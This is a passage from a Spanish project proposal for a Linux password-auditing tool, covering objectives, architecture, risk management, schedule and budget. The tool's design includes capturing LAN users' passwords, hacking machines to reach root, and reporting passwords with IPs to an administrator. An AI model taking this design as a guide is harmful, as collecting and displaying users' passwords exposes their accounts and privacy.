acceso por lo menos medianamente robustos, se corre un gran peligro,
especialmente en servidores críticos. No queremos decir que con una clave
robusta se soluciona todo pero si este tipo de ataque tiene efecto, es decir, si
alguien gana acceso por algún medio a mi sistema, algún servidor, tendrá el
control absoluto a esta máquina, y todo esquema de seguridad implantado se
vendrá abajo ya que atacante puede desde robar información hasta dañar
los programas o el funcionamiento de la maquina.
Solución
Se cuenta con una herramienta apropiada fácil de usar, intuitiva que me
permite evaluar las políticas de password implantadas en las computadoras
de una empresa.
6
Nuestro sistema da una solución optima y efectiva de la problemática
planteada, con el objetivo incluso de evaluar que tan seguro es el sistema
ante un ataque de un hacker, tratando de obtener acceso al sistema este
sistema evalúa y da un diagnostico de que tipo de claves están siendo
usadas en una computadora determinada.
Si se encuentran falencias en las contraseñas usadas, el sistema da una
solución efectiva e inteligente, ya que cuenta con una gran base de datos de
contraseñas de todo tipo, y en diversos idiomas, lo cual nos permite evaluar y
comparar las contraseñas capturadas en el sistema para dar un diagnostico
de su tipo y el riesgo que se corre al usar determinada clave.
El sistema además sugiere el uso de claves, y hace una consulta de las
políticas de contraseñas usadas y de cómo puede uno sufrir ataques de
password, para que en la empresa se tomen las medidas pertinentes, por
parte del administrador del sistema.
El sistema nos muestra gráficos estadísticos de las claves que son o no
robustas en porcentajes y así dar una solución rápida. El sistema emite
reporte de los usuarios con sus claves respectivas y sus IP, con esto el
administrador puede observar las claves registradas en las maquinas.
7
Visión
El sistema en un inicio se lo podrá ofrecer en una versión Freeware con el
objetivo de darlo a conocer entre la comunidad de programadores y
administradores, de centro de computo, para que den sus opiniones y
sugerencias, y ya con la información recolectada poder desarrollar una
versión para comercialización, o se podrá también ofertar ciertas versiones
bajo licencia GPL, ya que el sistema está orientado especialmente a trabajar,
bajo ambiente UNIX, en versiones Fedora Core 3.0 y superior.
Se busca que en un corto tiempo el sistema se haga conocido y sea usado
como un método incluso de Auditoria de Contraseñas.
Entregar al mercado de software del Ecuador una herramienta de evaluación
de password confiable y certera.
Misión
Con este proyecto se espera poder ofrecer una herramienta de seguridad
más que permita robustecer la seguridad en cuanto al acceso y uso de
claves en una empresa.
8
Que se implementen políticas adecuadas y normalizadas sobre el uso del
password e incluso políticas básicas y avanzadas de seguridad en general.
Hacer conciencia en las personas que trabajen en el área de informática,
acerca de los peligros que se corren si uno no cuenta con una clave de
usuario robusta y si no se cuenta con políticas adecuadas de seguridad en
general.
Que en el departamento o centro informático en cual se vaya a probar el
proyecto se redacte un documento estándar de seguridad, con el cual deberá
ser dado a conocer y puesto en marcha en el menor tiempo posible.
De existir ya políticas de seguridad en la empresa, revisar y poner énfasis
sobre el uso de claves y password, para comprobar si estas son adecuadas.
Una vez que se ejecuta el programa verificar si se están cumpliendo con las
políticas de seguridad de contraseña y hacer los cambios necesarios si se lo
considera oportuno.
Brindar capacitación a los usuarios que tengan bajo su cargo un computador
en los siguientes puntos:
• Del peligro que corren cuando su PC es accedida por alguien ajeno o
no autorizado.
9
• De cuidar y ver que se cumplan con las políticas de seguridad que se
están implementando.
• Uso de herramientas de diversas índoles para poder controlar la
seguridad en las maquinas como firewall, antivirus, etc.
• Explicar los diversos tipos de ataques a los servidores, especialmente
los Linux y como prevenirlos.
• Capacitar a los administradores del riesgo que corre cuando personas
no autorizadas acceden a los servidores o a la red.
Objetivos Generales
Crear una aplicación especializada que permita la administración de
passwords en el sistema.
Desarrollar un software capaz de capturar y evaluar las claves dentro de un
entorno LAN.
Dar una herramienta capaz de brindar una auditoria y consejos sobre
políticas de passwords.
10
Proporcionar datos estadísticos y reportes de todas las actividades de
evaluación de contraseñas que realice el programa.
Objetivos Específicos
Crear una aplicación que permita facilitar la administración de los passwords
que se estén manejando en cada una de las maquinas de los usuarios, con
el fin de poder hacer diferentes evaluaciones al sistema.
Capturar las claves de los diferentes servicios para poder evaluar si es una
contraseña repetida, débil, esta por caducar y si es robusta, además de
probar si puedo de alguna forma, cambiar o alterar claves para obtener
diferentes beneficios sobre una maquina, como Ej., una autenticación como
usuario root (principal).
Revisar el informe de las claves de los usuarios que lleva el administrador
para que pueda tener un control de las que se están usando, monitorear que
tan vulnerable está frente a ataques internos o externos de hackers, y poder
también evaluar medidas de prevención y protección frente a estos posibles
ataques.
Capacitar a los usuarios para que no cometan errores al implementar sus
contraseñas tales como contraseñas idénticas y débiles para varias
11
aplicaciones ya que estas pueden ocasionar agujeros de seguridad, y por lo
tanto, el sistema podría ser invadido.
Evaluar el nivel de seguridad de las maquinas de la empresa, hackeando
intencionalmente al sistema, con el fin de probar todas sus configuraciones
de seguridad, de que forma están implementadas y poder sugerir alternativas
de seguridad.
Alcances
El sistema se encargará de capturar los passwords que existan en servicios
de maquinas que trabajen con el sistema operativo Linux Fedora Core en su
versión 5.0, evaluando los que se encuentren registrados en una maquina
determinada.
Capturar todas las claves de las maquinas que tengan creada cuenta de
usuario y se conecten a la maquina LINUX a ser auditada dentro de la red
LAN, al tratar de hacer uso de los diferentes servicios por medio de
autenticación de usuario, pero la información solo la va a tener el
administrador del programa.
Se podrá notificar a los administradores sobre las claves de los usuarios que
representan amenaza en la empresa (usuarios inconformes, personal no
12
autorizado y usuarios con claves débiles), si es que así lo determinara el
administrador del programa.
Llevar un control de las claves del sistema para que el administrador sepa
que usuarios tienen claves débiles y robustas.
Capacitar a los usuarios para que escojan contraseñas robustas en sus
estaciones de trabajo para los diferentes servicios.
El sistema permitirá evaluar el tiempo de caducidad del passwords y este
hará saber al administrador sobre el suceso.
El programa puede ser usado para evaluar el nivel de seguridad de las
maquinas que existan en la empresa.
Habiendo cumplido los pasos anteriores, presentar un informe de nivel de
seguridad con respecto a las claves y accesos a aplicaciones que se usa en
la empresa, con el fin de que el administrador evalúe y disponga las medidas
necesarias para mejorar la seguridad del sistema.
El programa podrá darnos un reporte estadístico de los usuarios que han
tenido acceso al sistema.
13
El sistema va a poder evaluar las claves de los demás en forma alta, media y
de bajo nivel de las misma.
El sistema va a realizar una evaluación de la clave en cuanto su garantía y
confiabilidad mediante una base de datos que contendrá palabras en 3
idiomas distintos tales como (inglés, francés y español).
Se implementaran normas de seguridad para proteger las claves que han
sido crackeadas por el administrador.
Arquitectura del Sistema
El Sistema SAP se concentra en una arquitectura de tres capas:
La primera capa es Presentación.- Muestra la ventana Clave de Ingreso,
donde se va a digitar el nombre de usuario y la clave correspondiente para
verificar si es correcta o no y poder acceder al siguiente proceso del sistema.
En la capa de presentación se realiza relativamente poco procesamiento de
la aplicación.
La segunda capa es Lógica de Aplicaciones.- Nos permite elegir cada uno
de los procesos a seguir entre ellos encontramos Escanear IP, Escanear
Puertos, Hackear, Capturar Password, Analizar Password, Mostrar e Imprimir
14
Reportes y Estadísticas ya que estos procesos son responsables de manejar
la lógica del sistema.
La tercera capa es de Almacenamiento.- Contiene la base de datos, esta
es responsable de almacenar toda la información necesaria para la
aplicación.
Modelo de Desarrollo
El desarrollo de este proyecto será a través de un Modelo de Ciclo de Vida
en Espiral toma en cuenta el riesgo que aparece a la hora de desarrollar el
sistema.
Para ello se comienza mirando las posibles alternativas de desarrollo, se
opta por la del riesgo más factible y se hace un ciclo de la espiral.
Si el futuro cliente quiere seguir haciendo mejoras en el software se vuelve
a evaluar las distintas nuevas alternativas y se realiza otra vuelta del espiral
hasta que llegue un momento que el producto desarrollado sea aceptado y
no seguir mejorándolo con otro nuevo ciclo.
El Modelo en Espiral que es más óptimo para nuestro sistema, además
permite ir comprobando fase a fase el cumplimiento correcto de la misma.
15
Para la realización de las GUI (Interfaces Gráficas de Usuarios) se utiliza el
Modelo de Prototipos.
PRUEBA
DISEÑOCODIFICACIÓN
ANÁLISIS Y RECOPILACIÓNDE INFORMACIÓN
PR
UE
BA DE CONC
EP
TO
SEGUNDA CONSTRUCCIÓN
CICLO FINAL
PRIM
ERA CONSTRUCCIÓN
Grafico -1- Modelo de Prototipos
Metodología
La metodología usada para el desarrollo de este sistema es la Clásica ya que
nuestro proyecto no requiere necesariamente de diseño orientado a objetos,
ya que no es un proyecto demasiado complejo pero que si requiere aplicar
una metodología que incluya los diseños básicos y que cumplan con el Ciclo
de Vida de un Sistema, usaremos entonces todos los diagramas que tengan
que ver con la Metodología Clásica.
Recursos Tecnológicos
Para el desarrollo del Sistema SAP se va a necesitar los siguientes recursos:
16
Hardware
• 2 Computadores con las siguientes características:
o Hardware: Procesador 3.2 ghz
o Mainboard: Intel Pentium IV
o Memoria: 1 Gb Ram
o Disco Duro: 1 Disco Duro 120 GB
o Sistema Operativo: Windows XP
o Monitores: Pantalla Plana LG
Software
• Fedora Core 3.0 o superior
• JRE última versión (Java Runtime Environment)
• MYSQL o POSTGRE
Herramientas de desarrollo:
• Net Beans 5.5
• JCcreator 3.0
• S1studio JDK 1.5
Recurso Humano
Para la elaboración del siguiente proyecto se cuenta con la colaboración de
tres profesionales.
1 Jefe de Proyecto Sr. José Hidalgo
17
2 Desarrolladores Srta. Alicia Aldaz
Srta. Karina Valenzuela
Jefe del Proyecto.- Es la persona encargada de dirigir la elaboración del
sistema, será la persona quien tendrá todo tipo de contacto con el cliente y
responsable de cumplir que el proyecto se lo realice de la mejor manera para
que así cumpla con todas las expectativas del cliente.
Desarrolladores.- Son las personas encargadas de la parte de
implementación, diseño y codificación del proyecto así como los encargados
de realizar los manuales tantos técnicos como de usuario.
Gestión de Riesgo
Identificación de Riesgos
1. Tiempo estimado demasiado corto.
2. Salida de uno de los desarrolladores.
3. Indisponibilidad de reunirse del grupo de desarrolladores.
4. Que el ambiente de trabajo no posea una infraestructura adecuada.
5. Mala interpretación de los requisitos por parte de los desarrolladores.
6. Que los usuarios se resistan a usar el software.
7. Que los usuarios no tengan los conocimientos básicos para manejar el
software, lo cual dificulta el tiempo de enseñaza del mismo.
18
8. Daños imprevistos del hardware.
9. Falta de backup de los módulos desarrollados.
10. Modificación de requerimientos a último momento por parte del cliente.
Definiciones de Riesgos
1. Tiempo estimado demasiado corto.
Hablar del tiempo en nuestro proyecto es dar a menos dos razones por
las cuales este factor se verá afectado.
Además, puede ser que por falta de experiencia en lo que respecta a la
gestión de un proyecto de software estimemos incorrectamente el tiempo
necesario para el desarrollo de nuestra labor y tomemos en cuenta que
muy aparte de los buenos conocimientos que tengamos sobre la gestión,
la experiencia de proyectos anteriores es un buen punto a favor del
equipo de desarrolladores por lo tanto este es un riesgo que debemos
tener en cuenta.
2. Salida de uno de los desarrolladores.
Esto nos afectaría de acuerdo al número de personas comprometidas con
el equipo del proyecto que salgan. En un pequeño número, no nos
19
afectaría mucho y podría no tomarse muy en cuenta pero siendo muchos
los que salgan de nuestro proyecto si se vería afectado.
3. Indisponibilidad de reunirse del grupo de desarrolladores.
Esto es un riesgo que se nos presenta por diversas razones, las cuales
conllevan a que el equipo no pueda reunirse en su totalidad.
Algunos de estos motivos originan que no se organice y cumpla el
cronograma de trabajos, que no se cuenta con los implementos
necesarios y que los miembros del equipo de desarrollo no tengan claro
cual es el trabajo que tienen que hacer.
4. Que la empresa no posea una infraestructura adecuada.
Se refiere a que no exista el equipo adecuado para poder ejecutar el
software que se esta desarrollando, para que cumpla al 100% por ciento
los requerimientos que fueron planteados por el cliente.
20
5. Mala interpretación de los requisitos por parte de los
desarrolladores.
Este riesgo es de mucho cuidado ya que nos puede llevar al fracaso del
proyecto, porque nos retrasaría enormemente en el cronograma de
trabajos del mismo.
6. Que los usuarios se resistan a usar el software.
Hoy en día se ven muchos casos en los que los usuarios finales de los
productos de software se resistan a usarlos, ya sea por que tienen miedo
al cambio, o porque están acostumbrados ya a una rutina de trabajo.
7. Que los usuarios no tengan los conocimientos básicos para manejar
el software, lo cual dificulta el tiempo de enseñanza del mismo.
Que al momento de implementar o hacer las pruebas los usuarios
requeridos para hacerla tengan la dificultad de entender el manejo del
software. Que la presentación por pantalla tenga un grado de dificultad,
para entender el procedimiento del sistema.
8. Daños imprevistos del hardware.
Los daños más importantes que se puedan presentar es que los HD
tengan sectores dañados y esto ocasione la pérdida de los datos
21
ingresados en el sistema. Que se dañe el Mainboard del equipo y que no
se disponga de otro para su reemplazo.
9. Falta de backup de los módulos desarrollados.
Al hablar de la falta de backup nos referimos a los respaldos de los
módulos que se encuentren avanzados y que podrían ser almacenados
en CD-R o disquetes para poder llevarlos a reuniones con el resto del
equipo, para revisiones de calidad o de los avances (Refiriéndonos con
esto a que los lugares de programación de los módulos son 2 distintos).
10. Modificación de requerimientos a último momento por parte del
cliente.
Este riesgo puede presentarse debido a que nuestro grupo de desarrollo y
gestión está asumiendo y decidiendo por algunos detalles, ya que el
cliente no nos facilita ideas claras y concisas, más por el contrario nos
brinda ideas demasiado generales.
Impacto y Probabilidad de los Riesgos
1. Tiempo estimado demasiado corto
Impacto
Las tareas que se estimen, mas en su tiempo de inicio y finalización
retrasaran nuestro proyecto o por el momento la evaluación de aquella
tarea y sabiendo que muchas tareas se encuentran encadenadas, (Es
22
decir que tendrá que iniciar una para comenzar con otra o que la primera
deberá finalizar para iniciar la segunda) se nos producirán muchos
desfase durante la realización de nuestras tareas llegando incluso a
producir un retraso en cadena de nuestro proyecto.
Probabilidad
Una probabilidad medio-baja debido a que buscaremos la forma de
estimar a tiempo para las tareas de forma correcta tomando todas las
precauciones del caso.
2. Salida de uno de los desarrolladores.
Impacto
En la elaboración del presente proyecto se han distribuido tareas a cada
integrante, por lo cual la salida imprevista de alguien del equipo sería un
impacto fuerte porque retrasaría la finalización del proyecto en el tiempo
estimado.
Probabilidad
La probabilidad de que el riesgo se presente es poca, pero no
despreciable.
23
3. Indisponibilidad de reunirse del grupo de desarrolladores
Impacto
Este riesgo nos da un impacto crítico dentro de lo que respecta al
desarrollo de nuestro proyecto. Al presentarse este riesgo dentro del
grupo nos va a retrasar en un principio lo que respecta al análisis debido
a que es parte del grupo y quien no tenga los conocimientos en claro
tendrá que luego ponerse al tanto de lo ocurrido implicando que se
destine un tiempo para ambientarlo al ritmo del equipo además de que las
tareas a ellos asignadas se retardarían.
Probabilidad
Para este caso le damos una probabilidad media al riesgo porque la
mayoría del grupo de desarrollo trabaja, lo que reduce el tiempo para
reuniones de desarrollo, además de que las otras materias han
comenzado a enviar varios proyectos.
4. Que los equipos de la empresa no estén en óptimas condiciones de
trabajo.
Impacto
Es un impacto crítico ya que si la empresa donde vamos a instalar
nuestro sistema no tiene la infraestructura adecuada nuestro sistema no
puede funcionar al 100% y no cumplen con todos los requisitos
especificados.
24
Probabilidad
Tiene una probabilidad baja ya que el gestor debe de cerciorarse de la
infraestructura que tenga la empresa para desarrollar el sistema, y en
caso de que no tenga la infraestructura adecuada el gestor debe de
persuadir al cliente sobre esta selección.
5. Mala interpretación de los requisitos por parte de los desarrolladores
Impacto
Una mala interpretación de los requisitos tendría un impacto catastrófica
en la calidad de nuestro software ya que de darse este riesgo al
desarrollar el código podríamos realizar funciones que arrojen unos
resultados no deseados por parte del cliente haciendo que este llegase a
rechazar el software durante la revisión obligando incluso a realizar un
proceso de corrección del software.
Probabilidad
Le damos una baja probabilidad debido a que siendo un proyecto
pequeño y sencillo el software no implicaría muchos módulos.
25
6. Que los usuarios se resistan a usar el software
Impacto
Un despreciable impacto para este riesgo debido a que las personas
deben adaptarse a los cambios de la empresa y a que nuestra labor como
gestores desarrolladores no se vería afectada por esto si no hasta cuando
ya se haga la entrega del software y la ambientación de los usuarios para
con el mismo.
Probabilidad
Una baja probabilidad debido a que normalmente los usuarios finales
buscan la forma de facilitar sus tareas diarias lo que ocurriría con la
utilización del software.
7. Que los usuarios no tengan los conocimientos básicos para
entender y manejar el software
Impacto
Este riesgo implica un impacto despreciable ya que los usuarios finales no
retardarían la realización del mismo ya que la fase de adaptación del
usuario es la última en realizarse ya estando finalizado y aprobado por el
cliente.
26
Probabilidad
La probabilidad de este riesgo es un poco considerable debido a que hoy
en día el personal encargado del manejo de un sistema no se encuentra
debidamente preparado para el mismo.
8. Daños imprevistos del hardware
Impacto
El daño del hardware o equipo de desarrollo tiene un impacto crítico, ya
que en muchos casos el más mínimo desperfecto, no permitiría trabajar
en aquel lugar de desarrollo lo cual conduce a un retraso en las tareas
asignadas en el Terminal de Trabajo. Y teniendo luego que destinar otra
de las terminales para desarrollar varias tareas a medio tiempo cada una
hasta que el desperfecto quede solucionado.
Probabilidad
Una probabilidad baja debido a que los equipos de desarrollo han estado
trabajando sin problemas y están destinados por el momento solamente a
la realización del proyecto y no permitiendo el acceso a usuarios ajenos al
mismo.
27
9. Falta de Backups de los módulos desarrollados
Impacto
Un impacto crítico sería, debido a que una falta de respaldo en un medio
de almacenamiento portable no permitiría que fuéremos poco a poco
uniendo los módulos de desarrollo para realizar proezas, ajustes y
modificaciones necesarias retrasando lo que sería la unión de módulos y
pruebas.
Además puede darse que uno de los discos duros por errores
inesperados no nos permita obtener la información en él almacenada y
que no se pueda recuperar, tendríamos que volver a realizarla.
Probabilidad
Una probabilidad baja debido a que normalmente los discos duros no se
implican en un daño del equipo y que disponemos de medios de
almacenamiento portable.
10. Modificación de requerimientos a último momento por parte del
cliente.
Impacto
El impacto es crítico puesto que hay modificaciones en donde habría que
cambiar el código y en casos extremos hasta el diseño, lo cual nos
28
llevaría muchos más tiempo y dinero, del previsto al principio, y puede
que este percance no sea entendido por parte del cliente.
Probabilidad
La probabilidad de que suceda esto es alta, ya que casi siempre el cliente
no tiene bien definido sus requerimientos y se van a ir dando cuenta de
sus necesidades a medida que se le presente un prototipo del proyecto.
Plan de Contingencia
1. Tiempo estimado demasiado corto.
Para evitar este riesgo será necesario realizar un cronograma de
actividades para el grupo y ver que tan realista es el tiempo que se está
dando para las tareas.
Averiguar sobre técnicas de estimación de tiempo para apoyarnos en
ellas a la hora de estimar el tiempo. Realizar la asignación correcta a los
grupos de trabajo de modo que no se recargue demasiado trabajo sobre
un solo grupo.
Realizar informes sobre los avances de cada una de las tareas para
evaluar si se están cumpliendo de acuerdo a nuestra agenda.
Realizar revisiones de compatibilidad de los módulos para alivianar la
tarea de encadenamiento de módulos. En caso de darse este riesgo y se
29
nos estén retrasando las tareas, averiguar el motivo por el cual se está
dando el retraso, de lo cual podríamos definir.
2. Salida de uno de los desarrolladores
Este riesgo lo trataríamos en las reuniones charlando nosotros mismos
con los desarrolladores.
Apoyándolos en caso de que se presenten problemas personales que los
obliguen a salir, tratando de convencerlos de que la salida del grupo no es
el camino más recomendable, incitándolos a realizar un esfuerzo para
alcanzar la finalización del proyecto, obligando a los programadores a
realizar reportes y manuales técnicos de los módulos que se estén
desarrollando.
Trataremos de que la información se disperse lo más posible entre los
grupos de trabajo para evitar que la información se centralice.
En caso de darse este riesgo tendremos que ver que tanto es el personal
que va a salir del proyecto y si los que salen serán los que más influyan
en la codificación.
3. Indisponibilidad de reunirse del grupo de desarrolladores.
30
Realizaremos varias reuniones con los desarrolladores en días accesibles
tomando en cuenta que somos nosotros mismos los que debemos buscar
la forma de poder trabajar sin problemas de asistencia.
Además de que como ya se ha indicado que los lugares de desarrollo
serán tres distintos, entonces los desarrolladores podrán trabajar en los
lugares que les permitan una mayor accesibilidad a cada uno de ellos.
Comprometer a los desarrolladores a cumplir con esta labor para que
ellos den su mayor disponibilidad para con el grupo.
Controlar la asistencia permanente de cada desarrollador a las sesiones
de trabajo para tener conocimiento de si se esta cumpliendo con el
proyecto, crear un horario mínimo de asistencia para los grupos de
desarrollo y llegar incluso a multar o sancionar a aquellos integrantes que
tengan muchas faltas o que se resistan a dedicar un tiempo considerable
al desarrollo del proyecto.
4. Que los equipos de la empresa no estén en óptimas condiciones
de trabajo.
Revisar minuciosamente el hardware y el software con el que cuenta la
empresa para el funcionamiento del sistema antes de firmar el contrato.
31
Hablar con el cliente si esta dispuesto a mejorar la infraestructura, para
que el sistema, pueda trabajar correctamente, en caso contrario ver la
forma de adaptarse con lo que posea la empresa.
En caso de darse este riesgo ver la plataforma más conveniente para la
infraestructura de la empresa, pero si el hardware existente no cumpla
con los requisitos del sistema lo que podemos hacer es adaptar el
hardware solo para el funcionamiento del sistema.
5. Mala interpretación de los requisitos por parte de los
desarrolladores.
Una forma de contrarrestar este riesgo es informando a los
desarrolladores sobre lo que trata en cada una de las reuniones.
Teniendo nosotros mismos reuniones especiales con los desarrolladores
para darles a conocer y tratar de que ellos comprendan cuales son los
requerimientos del software.
Tratar de definir junto con los desarrolladores la funcionalidad del
software y dejar en claro todo lo que deberá manejar el programa de
acuerdo con lo que obtuvo en la entrevista con el cliente.
32
Ya en el caso de darse este riesgo y en las revisiones nos demos cuenta
de que lo realizado no va de acuerdo a lo previsto, convocar a una sesión
para tratar este caso con los desarrolladores y replantar el asunto de
forma que se vuelva a tomar el hilo del desarrollo.
Realizar una inspección minuciosa de lo que se ha desarrollado hasta
ahora para llegar a determinar que parte es la que habrá que modificar.
6. Que los usuarios se resistan a usar el software
Para evitar este riesgo o disminuir la probabilidad de que se de,
empezaríamos a vender la idea de la automatización de los procesos.
Dar a conocer a los usuarios las ventajas y facilidades que brindara el
software a ellos en el momento de realizar sus labores diarias.
Darles seguridad, o sea convencerlos de que la implementación de un
software no implica reducción de personal ni mucho menos una
disminución de sus ingresos, si no más bien que el software es una
herramienta de apoyo para realizar de forma rápida y controlable las
actividades de la empresa.
33
Pero si aun así se nos llegase a dar este riesgo tendríamos que dar una
charla a los usuarios indicándoles cuales son los nuevos horizontes de la
empresa.
Darles a conocer que la automatización tiene que ir por sobre todo y que
tienen que ajustarse al cambio.
Hacerles una demostración comparativa para que ellos noten la diferencia
y las ventajas de usar el proyecto.
7. Que los usuarios no tengan los conocimientos básicos para
entender y manejar el software
Como medidas tomadas para evitar o ayudar a los usuarios a
familiarizarse con nuestro sistema se tiene contemplado ponerlos en
conocimiento de los pasos que deberán seguir para la ejecución del
software.
Darles un curso de capacitación sobre como deben de manipular,
ingresar datos. También les daremos un manual de usuario en el cual se
de a conocer la funcionalidad de cada proceso del sistema de manera
detallada, clara y concisa.
34
8. Daños imprevistos del hardware
Para evitar que se nos presente este riesgo, antes de empezar a
desarrollar vamos a hacer un exhaustivo chequeo del hardware de
desarrollo (HD, Mainboard, etc.) para estar seguros que no se va a dañar.
Haremos revisiones paulatinamente del hardware de desarrollo.
Como nosotros contamos con 3 máquinas (PC) para desarrollar, si
continuar con el proyecto.
Utilizaríamos de backup para llevar lo que hemos desarrollado a la otra
PC y seguir adelante con el proyecto.
Donde el momento que se dañe el hardware, procederemos a evaluar los
daños y su respectiva reparación.
9. Falta de Backups de los módulos desarrollados
Un buen plan de contingencia para este riesgo es crear reglas para los
programadores en las cuales se indique claramente:
• Grabar siempre la información entre cada línea cuando se este
codificando
35
• Sacar y actualizar respaldo luego de cada fase de codificación.
• Portar los respaldos en cada una de las reuniones para obtener
un respaldo general de todos los módulos.
• Una falta de backups de los módulos nos puede retrasar en el
proyecto, por esto debemos tener mucho cuidado al tratar de
evitarlo.
• Todas las computadoras deberán tener un respaldo general del
software al que sólo se tendrá acceso en presencia de todo el
grupo gestor o en caso de emergencia para recuperar algún
fragmento de los módulos.
10. Modificación de requerimientos a último momento por parte del
cliente.
Dejar establecido desde el principio del proyecto cual será la política que
se maneje con relación a las modificaciones solicitadas sea de gran
mesura.
36
Tabla de Riesgos
Riesgo Probabilidad Impacto
Tiempo estimado demasiado corto 40% 2
Salida de uno de lo desarrolladores 11% 1
Indisponibilidad de reunirse del grupo de
desarrolladores
38% 2
Que la empresa no posea una
infraestructura adecuada
10% 2
Mala interpretación de los requisitos por
parte del grupo de desarrolladores
10% 3
Que los usuarios se resistan ha usar el
software
10% 2
Que los usuarios no tengan los
conocimientos básicos para manejar el
software
15% 1
Daños imprevistos en el hardware 20% 2
Falta de backup de los módulos
desarrollados
5% 2
Modificación de requerimientos a última
hora por parte del cliente.
10% 2
Tabla -1-
Tabla de Riesgo
1. Significa riesgo leve
2. Significa riesgo fuerte
3. Significa riesgo agresivo
37
Mecanismo de seguimiento y control
Cada semana cada uno de los desarrolladores deberá entregar un informe
de actividades, avances y expectativas para la siguiente semana.
Se realizaron reuniones cada 5 días para ver como estaba siendo elaborado
cada uno de los módulos.
El Jefe de Proyectos reviso hasta el ultimo detalle antes del enlace de los
módulo, esto se lo realizo con semanas de anticipación.
El Jefe de Proyectos estuvo atento a cada fase del proyecto.
38
Cronograma
Nombre de Tareas Duración Comienzo Fin
1
DETERMINACIÓN DE
OBJETIVOS 5 días 21/08/2006 25/08/2006
2 Reuniones con el Cliente 5 días 21/08/2006 25/08/2006
3
Id de necesidades y beneficios
del cliente 2 días 28/08/2006 29/08/2006
4 Levantamiento de la información 1 día 29/08/2006 29/08/2006
5 Definición de Objetivos 2 días 29/08/2006 30/08/2006
6 ALCANCE DEL PROYECTO 3 días 30/08/2006 01/09/2006
7
RESTRICCIONES Y
LIMITACIONES DEL
PROYECTO 1 día 04/09/2006 04/09/2006
8 RIESGOS DEL PROYECTO 1 día 05/09/2006 05/09/2006
9 Identificación del riesgo 1 día 06/09/2006 06/09/2006
10 Interpretación del Riesgo 1 día 06/09/2006 06/09/2006
11 Probabilidad e impacto 1 día 07/09/2006 07/09/2006
12 Tabla de riesgo 1 día 07/09/2006 07/09/2006
13 Plan de contingencia del riesgo 4 días 08/09/2006 13/09/2006
14
ESPECIFICACIONES DEL
LENGUAJE 2 días 14/09/2006 15/09/2006
15
PLANIFICACIÓN TEMPORAL
DEL PROYECTO 3 días 18/09/2006 20/09/2006
16
Diagrama de gantt del avance
del proyecto 1 día 20/09/2006 20/09/2006
17 RECURSOS DEL PROYECTO 5 días 21/09/2006 27/09/2006
18 Recurso humano 2 días 26/09/2006 27/09/2006
39
19 Recurso de hardware 2 días 26/09/2006 27/09/2006
20 Recurso de software 2 días 28/09/2006 29/09/2006
21
ORGANIZACIÓN DEL
PERSONAL 2 días 02/10/2006 03/10/2006
22 Aspectos de funcionamiento 1 día 28/09/2006 28/09/2006
23 Funciones principales 2 días 04/10/2006 05/10/2006
24
MECANISMOS DE
SEGUIMIENTO Y CONTROL 1 día 06/10/2006 06/10/2006
25
ANÁLISIS Y RECOPILACIÓN
DE INFORMACIÓN 17 días 06/10/2006 30/10/2006
26
Diagrama de flujo de información
del proyecto 4 días 16/10/2006 19/10/2006
27
Identificación de los
Requerimientos del Negocio 4 días 19/10/2006 24/10/2006
28
Definición de metas para la
prueba de concepto 4 días 20/10/2006 25/10/2006
29
Identificación de los
requerimientos del sistema 4 días 25/10/2006 30/10/2006
30
Elaboración del Logotipo del
proyecto 1 día 26/10/2006 26/10/2006
31
Definición de las metas para la
primera versión de construcción 6 días 31/10/2006 07/11/2006
32
Identificación de los
requerimientos del subsistema 4 días 31/10/2006 03/11/2006
33
Identificación de los
requerimientos de la unidad 4 días 06/11/2006 09/11/2006
34 DISEÑO 20 días 31/10/2006 27/11/2006
35 Diseño de datos 7 días 06/11/2006 14/11/2006
40
36
Diagrama entidad – relación del
sistema 7 días 13/11/2006 21/11/2006
37
Diagrama de especificación del
sistema 7 días 20/11/2006 28/11/2006
38
Diagrama de datos y bases de
datos 7 días 23/11/2006 01/12/2006
39 Diseño arquitectónico 7 días 27/11/2006 05/12/2006
40
Diagrama de componentes
principales 4 días 04/12/2006 07/12/2006
41 Diseño de Interfaces 4 días 04/12/2006 07/12/2006
42
Producción del Diseño
Conceptual del Sistema 4 días 04/12/2006 07/12/2006
43
Producción del Diseño del
Sistema Lógico 4 días 04/12/2006 07/12/2006
44
Producción del Diseño del
Sistema Físico 4 días 04/12/2006 07/12/2006
45 Producción del Diseño Final 5 días 04/12/2006 08/12/2006
46 CÓDIGO 40 días 28/11/2006 22/01/2007
47
Diseño y Construcción de la
prueba del concepto 10 días 25/12/2006 05/01/2007
48
Diseño y Construcción del
Primer Modelo 10 días 27/12/2006 09/01/2007
49
Diseño y Construcción de la
Prueba de Concepto 10 días 02/01/2007 15/01/2007
50 Construcción del Modelo Final 10 días 10/01/2007 23/01/2007
51 PRUEBAS 32 días 24/01/2007 08/03/2007
52
Producción de planos para el
ensayo de la aceptación 6 días 07/02/2007 14/02/2007
41
53 Análisis de Riesgo 2 días 15/02/2007 16/02/2007
54
Primera Pruebas del sistema con
datos reales 2 días 19/02/2007 20/02/2007
55
Formulación de
Recomendaciones 2 días 20/02/2007 21/02/2007
56
Producción de Planos para el
ensayo del sistema 2 días 21/02/2007 22/02/2007
57
Evaluación de la primera
construcción 2 días 23/02/2007 26/02/2007
58
Segunda Pruebas del sistema
con datos reales 3 días 26/02/2007 28/02/2007
59
Formulación de las
Recomendaciones 3 días 26/02/2007 28/02/2007
60
Producción de planos para el
ensayo de subsistemas 3 días 28/02/2007 02/03/2007
61
Evaluación de la segunda
construcción 3 días 02/03/2007 06/03/2007
62
Pruebas del sistema con datos
reales 3 días 05/03/2007 07/03/2007
63
Realización de ensayos:
unidad, subsistemas, sistema 1 día 07/03/2007 07/03/2007
64 Aprobación 3 días 07/03/2007 09/03/2007
65 INSTALACIÓN DEL SISTEMA 3 días 07/03/2007 09/03/2007
66
ETAPA DE ASESORÍA DEL
SISTEMA AL USUARIO FINAL 3 días 09/03/2007 13/03/2007
67
TERMINACIÓN DEL
PROYECTO 3 días 13/03/2007 15/03/2007
Tabla -2- Cronograma
42
Análisis Económico
Para la realización del sistema se ha incurrido en los siguientes valores.
Equipo de Desarrollo
Laptop $1.800
PC $2.500
Impresora $ 150
Gastos Generales
Luz $160
Transporte $500
Servicio Internet $150
Alquiler Local $300
Equipo de Oficina $80
Varios $100
TOTAL $5.740
Tabla -3-
Análisis Económico
43
Análisis Legal
Licencia GPL
Los programas de ordenador suelen distribuirse con licencias propietarias o
cerradas. Esto quiere decir que uno no es propietario del programa, estas
condicionado bajo las reglas que imponga la licencia de dicho programa,
para su uso y derecho a expandirte, y no se le puede modificar o distribuir.
Esta licencia GPL desarrollada por la FSF (Free Software Foundation) es
